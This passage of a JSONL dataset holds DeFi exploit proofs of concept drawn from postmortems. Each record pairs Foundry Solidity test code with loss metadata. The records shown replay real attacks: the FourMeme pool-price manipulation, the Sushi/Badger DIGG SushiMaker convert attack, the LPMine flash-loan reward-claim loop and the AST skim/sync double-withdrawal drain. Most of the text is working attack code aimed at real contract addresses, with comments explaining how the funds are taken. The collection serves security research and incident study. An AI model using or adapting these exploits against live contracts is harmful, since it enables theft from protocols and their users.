0x4FdEBcA823b7886c3A69fA5fC014104F646D9591;\n\n string constant RPC_URL = \"bsc\"; // You may need to change \"bsc\" to your own rpc url\n\n uint256 public bscBuyFork = vm.createFork(RPC_URL, 46_555_711);\n uint256 public bscHackerCreatePoolFork = vm.createFork(RPC_URL, 46_555_725);\n uint256 public bscCreatePoolFork = vm.createFork(RPC_URL, 46_555_731 - 1);\n uint256 public bscSwapFork = vm.createFork(RPC_URL, 46_555_732 - 1);\n\n BuyMemeFromFourMeme public buyMemeFromFourMeme;\n HackerPool public hackerPool;\n Swap public swap;\n\n function setUp() public {\n vm.label(address(fourMemeOwner), \"fourMemeOwner\");\n vm.label(address(fourMeme), \"fourMeme\");\n vm.label(address(memeToken), \"memeToken\");\n vm.label(address(wbnb), \"wbnb\");\n vm.label(address(pancakeRouter), \"pancakeRouter\");\n vm.label(address(pancakePool), \"pancakePool\");\n vm.label(address(attackerBuyContract), \"attackerBuyContract\");\n\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n // Preparation\n buyMemeToken(); // User can only get meme token from four.meme platform during this stage\n HackerCreatePool(); // Hacker create a pool with extremely high sqrtPriceX96\n CreatePool(); // When the market capitalization of the memecoin reaches 24 BNB, four.meme migrates the liquidity to pancakeswap\n\n // Make profit\n SwapToken(); // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb\n }\n\n // Buy meme token from four.meme\n function buyMemeToken() public {\n vm.selectFork(bscBuyFork);\n buyMemeFromFourMeme = new BuyMemeFromFourMeme(fourMeme, memeToken);\n vm.deal(address(this), 0.0001 ether); // Use 0.0001 bnb to buy meme\n buyMemeFromFourMeme.buyToken{value: 0.0001 ether}(); // Buy 1_603.243_002_223_000_000_000 snowboard\n }\n\n // Create a pool on pancakeswap by hacker\n function HackerCreatePool() public {\n vm.selectFork(bscHackerCreatePoolFork);\n hackerPool = new HackerPool(pancakeRouter, fourMeme, memeToken, wbnb);\n address pool = hackerPool.createPool(); // 0xa610cC0d657bbFe78c9D1eA638147984B2F3C05c\n }\n\n // It should create a pool on pancakeswap by four.meme platform\n // But instead it added liquidity to the pool created by hacker\n // This is because hacker already created a pool on pancakeswap\n // The restriction on transfer is also removed in addLiquidity function\n function CreatePool() public {\n vm.selectFork(bscCreatePoolFork);\n // Only four.meme owner can call addLiquidity\n // So this function is called by four.meme platform\n vm.startPrank(fourMemeOwner, fourMemeOwner);\n uint160 sqrtPriceX96 = uint160(27_169_599_998_237_907_265_358_521);\n IFourMeme(fourMeme).addLiquidity(memeToken, sqrtPriceX96);\n vm.stopPrank();\n }\n\n // Swap snowboard token to wbnb\n function SwapToken() public {\n vm.selectFork(bscSwapFork);\n swap = new Swap(pancakePool, fourMeme, memeToken, wbnb);\n // Transfer snowboard token to attacker contract\n // attackerBuyContract is the real buyMemeFromFourMeme contract used by hacker\n // Because the trading function within four.meme is not allowed in this block\n // So I can only transfer snowboard token from attackerBuyContract\n uint256 balance = IERC20(memeToken).balanceOf(attackerBuyContract);\n vm.prank(attackerBuyContract);\n IERC20(memeToken).transfer(address(swap), balance);\n\n int256 amountSpecified = int256(IERC20(memeToken).balanceOf(address(swap))); // 1_603.243_002_223_000_000_000\n uint160 sqrtPriceLimitX96 = 4_295_128_740;\n // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb\n int256 wbnbAmount = swap.swap(amountSpecified, sqrtPriceLimitX96);\n swap.withdraw();\n WETH(wbnb).withdraw(uint256(-wbnbAmount));\n }\n\n fallback() external payable {}\n\n receive() external payable {}\n}\n\ncontract BuyMemeFromFourMeme {\n // During this stage, user can only buy meme token from four.meme platform\n // Neither OTC nor pancakeswap is allowed\n address public fourMeme;\n address public memeToken;\n\n constructor(address _fourMeme, address _memeToken) {\n fourMeme = _fourMeme;\n memeToken = _memeToken;\n }\n\n function buyToken() public payable {\n IFourMeme(fourMeme).buyTokenAMAP{value: msg.value}(memeToken, 100_000_000_000_000, 0);\n }\n\n fallback() external payable {}\n\n receive() external payable {}\n}\n\ncontract HackerPool {\n address public pancakeRouter;\n address public fourMeme;\n address public memeToken;\n address public wbnb;\n\n constructor(address _pancakeRouter, address _fourMeme, address _memeToken, address _wbnb) {\n pancakeRouter = _pancakeRouter;\n fourMeme = _fourMeme;\n memeToken = _memeToken;\n wbnb = _wbnb;\n }\n\n // Create a pool on pancakeswap by hacker\n function createPool() public returns (address) {\n // Ask for pancakeswap fee\n (bool success, bytes memory data) = address(fourMeme).call(\n abi.encodeWithSelector(0x9f266331, address(memeToken))\n );\n (, uint24 pancakeFee, ) = abi.decode(data, (uint256, uint24, uint256));\n\n uint160 sqrtPriceX96 = uint160(10_000_000_000_000_000_000_000_000_000_000_000_000_000); // 368_058_418_256_012 times larger than the normal value\n\n address pool = IPancakeRouter(pancakeRouter).createAndInitializePoolIfNecessary(\n memeToken,\n wbnb,\n pancakeFee,\n sqrtPriceX96\n );\n return pool;\n }\n}\n\ncontract Swap {\n address public pancakePool;\n address public fourMeme;\n address public memeToken;\n address public wbnb;\n address public owner;\n\n constructor(address _pancakePool, address _fourMeme, address _memeToken, address _wbnb) {\n pancakePool = _pancakePool;\n fourMeme = _fourMeme;\n memeToken = _memeToken;\n wbnb = _wbnb;\n owner = msg.sender;\n }\n\n // Call the swap function of pancakeswap pool (snowboard -> wbnb)\n function swap(int256 amountSpecified, uint160 sqrtPriceLimitX96) public returns (int256) {\n (int256 memeTokenAmount, int256 wbnbAmount) = IPancakePool(pancakePool).swap(\n address(this),\n true,\n amountSpecified,\n sqrtPriceLimitX96,\n \"\"\n );\n return wbnbAmount;\n }\n\n // This function is called by pancakeswap pool\n // It is used to transfer snowboard token to pancakeswap pool\n function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n IERC20(memeToken).transfer(pancakePool, uint256(amount0Delta));\n }\n\n function withdraw() external {\n IERC20(wbnb).transfer(owner, IERC20(wbnb).balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "FourMeme", "date": "2025-02", "file_name": "FourMeme_exp.sol", "attack_vector": null, "content_hash": "69868c933b56d717", "collected_at": "2026-01-07T10:59:16.543729", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "186k (287bnb)", "total_lost_usd": 186000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://securrtech.medium.com/the-four-meme-exploit-a-deep-dive-into-the-183-000-hack-6f45369029be", "twitter_url": "https://x.com/four_meme_/status/1889198796695044138", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "186k (287bnb)", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // Preparation\n buyMemeToken(); // User can only get meme token from four.meme platform during this stage\n HackerCreatePool(); // Hacker create a pool with extremely high sqrtPriceX96\n CreatePool(); // When the market capitalization of the memecoin reaches 24 BNB, four.meme migrates the liquidity to pancakeswap\n\n // Make profit\n SwapToken(); // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb\n }\n\n // Buy meme token from four.meme", "has_exploit_code": true, "keyinfo_total_lost": "186k (287bnb)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "https://securrtech.medium.com/the-four-meme-exploit-a-deep-dive-into-the-183-000-hack-6f45369029be", "analysis_twitter": "https://x.com/four_meme_/status/1889198796695044138", "funds_lost_formatted": "$186.0K", "content_richness_score": 7, "quality_estimate": "medium", "title": "FourMeme Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\n// PoC is incomplete, not sure why but Hardhat and JS gave me a severe headache \u00af\\_(\u30c4)_/\u00af\n/*\nAttack tx: https://etherscan.io/tx/0x0af5a6d2d8b49f68dcfd4599a0e767450e76e08a5aeba9b3d534a604d308e60b\n\nPost Mortems: \nhttps://cmichel.io/replaying-ethereum-hacks-sushiswap-badger-dao-digg/ (author)\nhttps://slowmist.medium.com/slow-mist-sushiswap-was-attacked-for-the-second-time-a47f2d110a84\nhttps://www.rekt.news/badgers-digg-sushi/\n\nWhen new pairs were added in Sushiswaps\u2019 Onsen, some non-ETH pairs were added, but no \"bridge\" was set up in the SushiMaker for DIGG/WBTC.\n\nCode:\nSushiMaker: https://github.com/sushiswap/sushiswap/blob/64b758156da6f9bde1d8619f142946b005c1ba4a/contracts/SushiMaker.sol#L192\nconvert burns LP tokens, gets two tokens back, converts one to the other, converts the other to SUSHI, sends SUSHI to SushiBar (XSushi stakers)\ndeployed: https://etherscan.io/address/0xe11fc0b43ab98eb91e9836129d1ee7c3bc95df50\n\nfee is sent to SushiMaker by SushiSwapPair's burn (from Router::removeLiquidity) in _mintFee\nIUniswapV2Factory(factory).feeTo() == SushiMaker, check here: https://etherscan.io/address/0xc0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac#readContract*/\n\ncontract Exploit is Test {\n IUniswapV2Router02 private constant sushiRouter = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n IUniswapV2Factory private constant sushiFactory = IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac);\n IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private constant wethBridgeToken = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // WBTC\n IERC20 private constant nonWethBridgeToken = IERC20(0x798D1bE841a82a273720CE31c822C61a67a601C3); // DIGG\n ISushiMaker private constant sushiMaker = ISushiMaker(0xE11fc0B43ab98Eb91e9836129d1ee7c3Bc95df50);\n\n IUniswapV2Pair private wethPair; // Fake Pair Digg<>WETH\n\n function testHack() external {\n vm.createSelectFork(\"mainnet\", 11_720_049);\n\n IUniswapV2Pair FakePair = createAndProvideLiquidity();\n wethPair = IUniswapV2Pair(address(FakePair));\n\n vm.prank(tx.origin);\n sushiMaker.convert(address(wethBridgeToken), address(nonWethBridgeToken));\n\n rugPull();\n\n console.log(\"Attacker's profit: %s WETH\", WETH.balanceOf(address(this)) / 1e18);\n }\n\n function createAndProvideLiquidity() public payable returns (IUniswapV2Pair pair) {\n // first acquire both tokens for vulnerable pair\n // we assume one token of the pair has a WETH pair\n // deposit all ETH for WETH\n // trade WETH/2 -> wethBridgeToken -> nonWethBridgeToken\n WETH.deposit{value: 0.001 ether}();\n WETH.approve(address(sushiRouter), 0.001 ether);\n address[] memory path = new address[](3);\n path[0] = address(WETH);\n path[1] = address(wethBridgeToken);\n path[2] = address(nonWethBridgeToken);\n uint256[] memory swapAmounts =\n sushiRouter.swapExactTokensForTokens(0.001 ether / 2, 0, path, address(this), type(uint256).max);\n uint256 nonWethBridgeAmount = swapAmounts[2];\n\n // create DIGG<>WETH\n pair = IUniswapV2Pair(sushiFactory.createPair(address(nonWethBridgeToken), address(WETH)));\n\n // add liquidity\n nonWethBridgeToken.approve(address(sushiRouter), nonWethBridgeAmount);\n sushiRouter.addLiquidity(\n address(WETH),\n address(nonWethBridgeToken),\n 0.001 ether / 2, // rest of WETH\n swapAmounts[2], // all tokens we received\n 0,\n 0,\n address(this),\n type(uint256).max\n );\n }\n\n function rugPull() public payable {\n // redeem LP tokens for underlying\n IERC20 otherToken = IERC20(wethPair.token0()); // DIGG\n if (address(otherToken) == address(WETH)) {\n otherToken = IERC20(wethPair.token1());\n }\n uint256 lpToWithdraw = wethPair.balanceOf(address(this));\n wethPair.approve(address(sushiRouter), lpToWithdraw);\n sushiRouter.removeLiquidity(\n address(WETH), address(otherToken), lpToWithdraw, 0, 0, address(this), type(uint256).max\n );\n\n // trade otherToken -> wethBridgeToken -> WETH\n uint256 otherTokenBalance = otherToken.balanceOf(address(this));\n otherToken.approve(address(sushiRouter), otherTokenBalance);\n address[] memory path = new address[](3);\n path[0] = address(otherToken);\n path[1] = address(wethBridgeToken);\n path[2] = address(WETH);\n\n sushiRouter.swapExactTokensForTokens(otherTokenBalance, 0, path, address(this), type(uint256).max);\n }\n\n receive() external payable {}\n}\n\n/* -------------------- Interface -------------------- */\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ninterface IWETH {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address guy, uint256 wad) external returns (bool);\n function withdraw(\n uint256 wad\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n}\n\ninterface IUniswapV2Pair {\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address\n ) external view returns (uint256);\n function skim(\n address to\n ) external;\n function sync() external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n\n function token0() external view returns (address);\n function token1() external view returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(address tokenA, address tokenB) external returns (address pair);\n}\n\ninterface ISushiMaker {\n function convert(address x, address y) external view returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "Sushi_Badger_Digg", "date": "2021-01", "file_name": "Sushi_Badger_Digg_exp.sol", "attack_vector": null, "content_hash": "bda5eadecd9b7893", "collected_at": "2026-01-07T10:59:16.543851", "_source": "postmortems", "chain": "ethereum", "block_number": 11720049, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x0af5a6d2d8b49f68dcfd4599a0e767450e76e08a5aeba9b3d534a604d308e60b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "Sushi_Badger_Digg Exploit (2021-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// reason : Use pair balance to calculate the reward,and not update the time correctly,so can claim reward more times.\n// guy : https://x.com/TenArmorAlert/status/1877030261067571234\n// tx : https://app.blocksec.com/explorer/tx/bsc/0x11c1ef2c61f5a2e41d570a1547d2d891bf916853ddd94e32097e86bcdd21cb4c -->add lp\n// : https://app.blocksec.com/explorer/tx/bsc/0x00c5a772a58b117f142b2cbc8721b80d145ef7a910043ad08439863d0e78e300?line=15333 -->claim reward\n// total loss : 24k usdt XD\ninterface ILPMine {\n function partakeAddLp(uint256 _tokenId,uint256 _tokenAmount, uint256 _usdtAmount,address _oldUser) external;\n function extractReward(uint256 _tokenId) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address dvm1 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n address dvm2 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7;\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 pair = Uni_Pair_V2(0xBE2F4D0C39416C7C4157eBFdccB65cc2FF5fb2C4);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n address v3pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\n\n IERC20 ZF = IERC20(0x259A9FB74d6A81eE9b3a3D4EC986F08fbb42121A);\n IERC20 WTO = IERC20(0x692097F0D3Bd0dFBbbbb0EE35000729F05d598f5);\n ILPMine LPMine = ILPMine(0x6BBeF6DF8db12667aE88519090984e4F871e5feb);\n uint256 borrow_1 = 1000 ether;\n uint256 borrow_2 = 500_0000 ether;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 45583892);\n // attacker buy sor\n deal(address(this),0);\n deal(address(USDT),address(this),0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] USDT balance before\", USDT.balanceOf(address(this)), 18);\n \n\n (bool success,) = dvm1.call(abi.encodeWithSignature(\"flashLoan(uint256,uint256,address,bytes)\", 0, borrow_1, address(this), \"1\"));\n require(success, \"flashloan failed\");\n\n emit log_named_decimal_uint(\"[End] USDT balance after\", USDT.balanceOf(address(this)), 18);\n }\n\n function dodoCall(address a, uint256 b, uint256 c, bytes memory d) public {\n console.log(\"USDT borrow\",USDT.balanceOf(address(this)));\n swap_token_to_token(address(USDT), address(ZF), 1000 ether / 2);\n ZF.approve(address(LPMine), ZF.balanceOf(address(this)));\n USDT.approve(address(LPMine), USDT.balanceOf(address(this)));\n LPMine.partakeAddLp(2,ZF.balanceOf(address(this)),500 ether,0x114FAA79157c6Ba61818CE2A383841e56B20250B);\n cheats.warp(block.timestamp + 2 hours);\n (bool success,) = v3pool.call(abi.encodeWithSignature(\"flash(address,uint256,uint256,bytes)\", address(this), borrow_2, 0, \"\"));\n require(success, \"flash failed\");\n USDT.transfer(dvm1,borrow_1);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n USDT.transfer(address(pair), USDT.balanceOf(address(this)));\n for(uint i = 0; i < 2000; i++) {\n try LPMine.extractReward(1) {\n // console.log(i,ZF.balanceOf(address(this)));\n } catch {\n continue;\n }\n } \n ZF.transfer(address(pair),1); //--> ZF token do not allowed zero transfer\n pair.skim(address(this));\n swap_token_to_token(address(ZF), address(USDT), ZF.balanceOf(address(this)));\n swap_token_to_token(address(WTO), address(USDT), WTO.balanceOf(address(this)));\n USDT.transfer(v3pool, borrow_2 + fee0);\n }\n \n function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n dodoCall(sender, baseAmount, quoteAmount, data);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n dodoCall(sender, baseAmount, quoteAmount, data);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "LPMine", "date": "2025-01", "file_name": "LPMine_exp.sol", "attack_vector": "flash_loan", "content_hash": "6f19b1e490b8bc05", "collected_at": "2026-01-07T10:59:16.543925", "_source": "postmortems", "chain": "unknown", "block_number": 45583892, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.26, "quality_estimate": "low", "title": "LPMine Exploit (2025-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n\n// @KeyInfo - Total Lost : 65K US$\n// Attacker : 0x56f77AdC522BFfebB3AF0669564122933AB5EA4f\n// Attack Contract : 0xaaE196b6E3f3Ee34405e857e7bfb05D74c5cf775\n// Vulnerable Contract : 0xc10E0319337c7F83342424Df72e73a70A29579B2\n// Attack Tx : https://bscscan.com/tx/0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e793927\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xc10e0319337c7f83342424df72e73a70a29579b2#code\n\n// @Analysis\n// solidityscan: https://blog.solidityscan.com/ast-token-hack-analysis-7a2f0400436a\n// medium.com: https://medium.com/@joichiro.sai/ast-token-hack-how-a-faulty-transfer-logic-led-to-a-65k-exploit-da75aed59a43\n\n\n// \u9700\u8981\u5728foundry.toml\u4e2d\u8bbe\u7f6e evm_version = 'shanghai'\n\n\ncontract ContractTest is Test {\n // AST\u63a5\u53e3\n address constant ast = 0xc10E0319337c7F83342424Df72e73a70A29579B2;\n // BUSD\u5730\u5740\n address constant busd = 0x55d398326f99059fF775485246999027B3197955;\n // WBNB\u5730\u5740\n address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n // ERC1967Proxy\u5730\u5740\n address constant proxy = 0xc8B9817eB65B7d7e85325f23A60D5839d14F9Ce4;\n // pancake BUSD/AST pair\n IPancakePair BUSD_AST_LPPool = IPancakePair(0x5ffEc8523A42BE78B1Ad1244fA526f14B64bA47a);\n // pancakeV3Pool\u63a5\u53e3\n IPancakeV3Pool PancakePool = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n // pancackeRouter\u63a5\u53e3\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n // \u9700\u8981\u501f\u6b3e\u7684BUSD\u6570\u91cf\n uint256 constant busd_amount = 30_000_000 * 1e18;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n // \u653b\u51fb\u53d1\u751f\u7684\u4e0a\u4e00\u4e2a\u533a\u5757\n vm.createSelectFork(\"bsc\", 45_964_639);\n vm.label(busd, \"BUSD\");\n vm.label(ast, \"AST\");\n vm.label(address(BUSD_AST_LPPool), \"BUSD_AST_LPPool\");\n vm.label(address(PancakePool), \"PancakePool\");\n vm.label(address(pancakeRouter), \"pancakeRouter\");\n vm.label(address(proxy), \"ERC1967Proxy\");\n // \u51c6\u5907\u4e00\u70b9busd\u548cast\uff0c\u7528\u4e8e\u6dfb\u52a0\u6d41\u52a8\u6027\n deal(busd, address(this), 1 * 1e18);\n deal(ast, address(this), 7 * 1e18);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker BUSD balance before flash\", IERC20(busd).balanceOf(address(this)), 18);\n address recipient = address(this);\n uint256 amount1 = 0;\n bytes memory data = abi.encode(busd_amount);\n // \u8c03\u7528\u95ea\u7535\u8d37\uff0c\u8d37\u6b3e3000\u4e07\u4e2aBUSD\n PancakePool.flash(recipient, busd_amount, amount1, data);\n emit log_named_decimal_uint(\"[Info] Attacker BUSD balance after exploit\", IERC20(busd).balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {\n emit log_named_decimal_uint(\"[Info] Attacker BUSD balance after flash\", IERC20(busd).balanceOf(address(this)), 18);\n // \u6388\u6743\u7ed9pancakeRouter\n IERC20(busd).approve(address(pancakeRouter), type(uint256).max);\n IERC20(ast).approve(address(pancakeRouter), type(uint256).max);\n BUSD_AST_LPPool.approve(address(pancakeRouter), type(uint256).max);\n // \u8c03\u7528pancakeRouter\u628aBUSD\u6362\u6210AST\n address[] memory path1 = new address[](2);\n path1[0] = busd;\n path1[1] = ast;\n\n // swap\u6240\u67093000\u4e07\u4e2aBUSD\u4e3aAST\uff0c\u76ee\u6807\u662fproxy\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n busd_amount, 0, path1, proxy, block.timestamp\n );\n // \u8ba1\u7b97\u6d41\u52a8\u6027\u6c60\u4e2d\u7684ast amount\uff0c\u4f7f\u7528LP\u4e2d\u7684Ast\u6570\u91cf\u51cf1\n uint256 lpAstAmount = IERC20(ast).balanceOf(address(BUSD_AST_LPPool)) - 1;\n\n // \u6dfb\u52a0\u6d41\u52a8\u6027\uff0c\u6b64\u5904\u4e0d\u80fd\u4f7f\u7528addLiquidity\u65b9\u6cd5\u6dfb\u52a0\u6d41\u52a8\u6027\uff0c\u56e0\u4e3a\u8d44\u4ea7\u6bd4\u4f8b\u9650\u5236\u65e0\u6cd5\u6dfb\u52a0\u8db3\u989d\u7684AST\n IERC20(busd).transfer(address(BUSD_AST_LPPool), 1 * 1e18);\n IERC20(ast).transfer(address(BUSD_AST_LPPool), lpAstAmount);\n\n // \u4f7f\u7528skim\u628a\u591a\u4f59\u4ee3\u5e01\u63d0\u53d6\u5230\u653b\u51fb\u5408\u7ea6\u4e2d\uff0c\u4e5f\u5c31\u662f\u64a4\u51fa\u4e0a\u4e00\u6b65\u6dfb\u52a0\u7684\u6d41\u52a8\u6027\n // \u8fd9\u91cc\u4f1a\u89e6\u53d1\u5408\u7ea6\u7684bug\uff0cLP\u4e2d\u5269\u4f59AST\u6570\u91cf\u4e3a6688350004594453501\uff0c\u4e0a\u4e00\u6b65\u6dfb\u52a0\u4e866688350004594453500\n // \u7531\u4e8e\u5408\u7ea6BUG\u5728\u64a4\u51fa\u6d41\u52a8\u6027\u65f6\u4f1a\u64a4\u51fa\u4e24\u6b21, \u4e5f\u5c31\u662f 6688350004594453501 + 6688350004594453500 - 6688350004594453500 - 6688350004594453500 = 1\n BUSD_AST_LPPool.skim(address(this));\n BUSD_AST_LPPool.sync();\n emit log_named_decimal_uint(\"[Info] LP BUSD balance after skim\", IERC20(busd).balanceOf(address(BUSD_AST_LPPool)), 18);\n emit log_named_decimal_uint(\"[Info] LP AST balance after skim\", IERC20(ast).balanceOf(address(BUSD_AST_LPPool)), 18);\n // swap\u653b\u51fb\u5408\u7ea6\u4e2d\u6240\u6709\u7684AST\n address[] memory path2 = new address[](2);\n path2[0] = ast;\n path2[1] = busd;\n uint256 astAmount = IERC20(ast).balanceOf((address(this)));\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n astAmount, 0, path2, address(this), block.timestamp\n );\n // \u89e3\u7801data\u67e5\u770b\u501f\u8d37\u603b\u91cf\uff0c\u4e5f\u53ef\u4ee5\u50cf\u4e0a\u8fb9\u4e00\u6837\u5199\u6b7b\uff0c\u8fd9\u6837\u5c31\u4e0d\u9700\u8981\u4f9d\u8d56\u4e8edata\n (uint256 amount) = abi.decode(data, (uint256));\n // \u8fd8\u6b3e\u7ed9pancake\uff0c\u5e76\u52a0\u4e0a\u8d39\u7528\n IERC20(busd).transfer(msg.sender, amount + fee0);\n }\n}\n", "type": "exploit_poc", "protocol": "Ast", "date": "2025-01", "file_name": "Ast_exp.sol", "attack_vector": null, "content_hash": "c82af717a22ec743", "collected_at": "2026-01-07T10:59:16.544011", "_source": "postmortems", "chain": "bsc", "block_number": 45964639, "total_lost_raw": "65K US$", "total_lost_usd": 65000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e793927", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "65K US$", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker BUSD balance before flash\", IERC20(busd).balanceOf(address(this)), 18);\n address recipient = address(this);\n uint256 amount1 = 0;\n bytes memory data = abi.encode(busd_amount);\n // \u8c03\u7528\u95ea\u7535\u8d37\uff0c\u8d37\u6b3e3000\u4e07\u4e2aBUSD\n PancakePool.flash(recipient, busd_amount, amount1, data);\n emit log_named_decimal_uint(\"[Info] Attacker BUSD balance after exploit\", IERC20(busd).balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "65K US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e793927", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$65.0K", "content_richness_score": 7.52, "quality_estimate": "medium", "title": "Ast Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// Happy New Year\n// @KeyInfo - Total Lost : 12.340357077284305206 ETH (~$41.2K USD)\n// Attacker : https://etherscan.io/address/0x25869347f7993c50410a9b9b9c48f37d79e12a36\n// Attack Contract 0 : https://etherscan.io/address/0x2cad84c3d2e31bc6d630229901f421e6da5557ef\n// Attack Contract 1 : 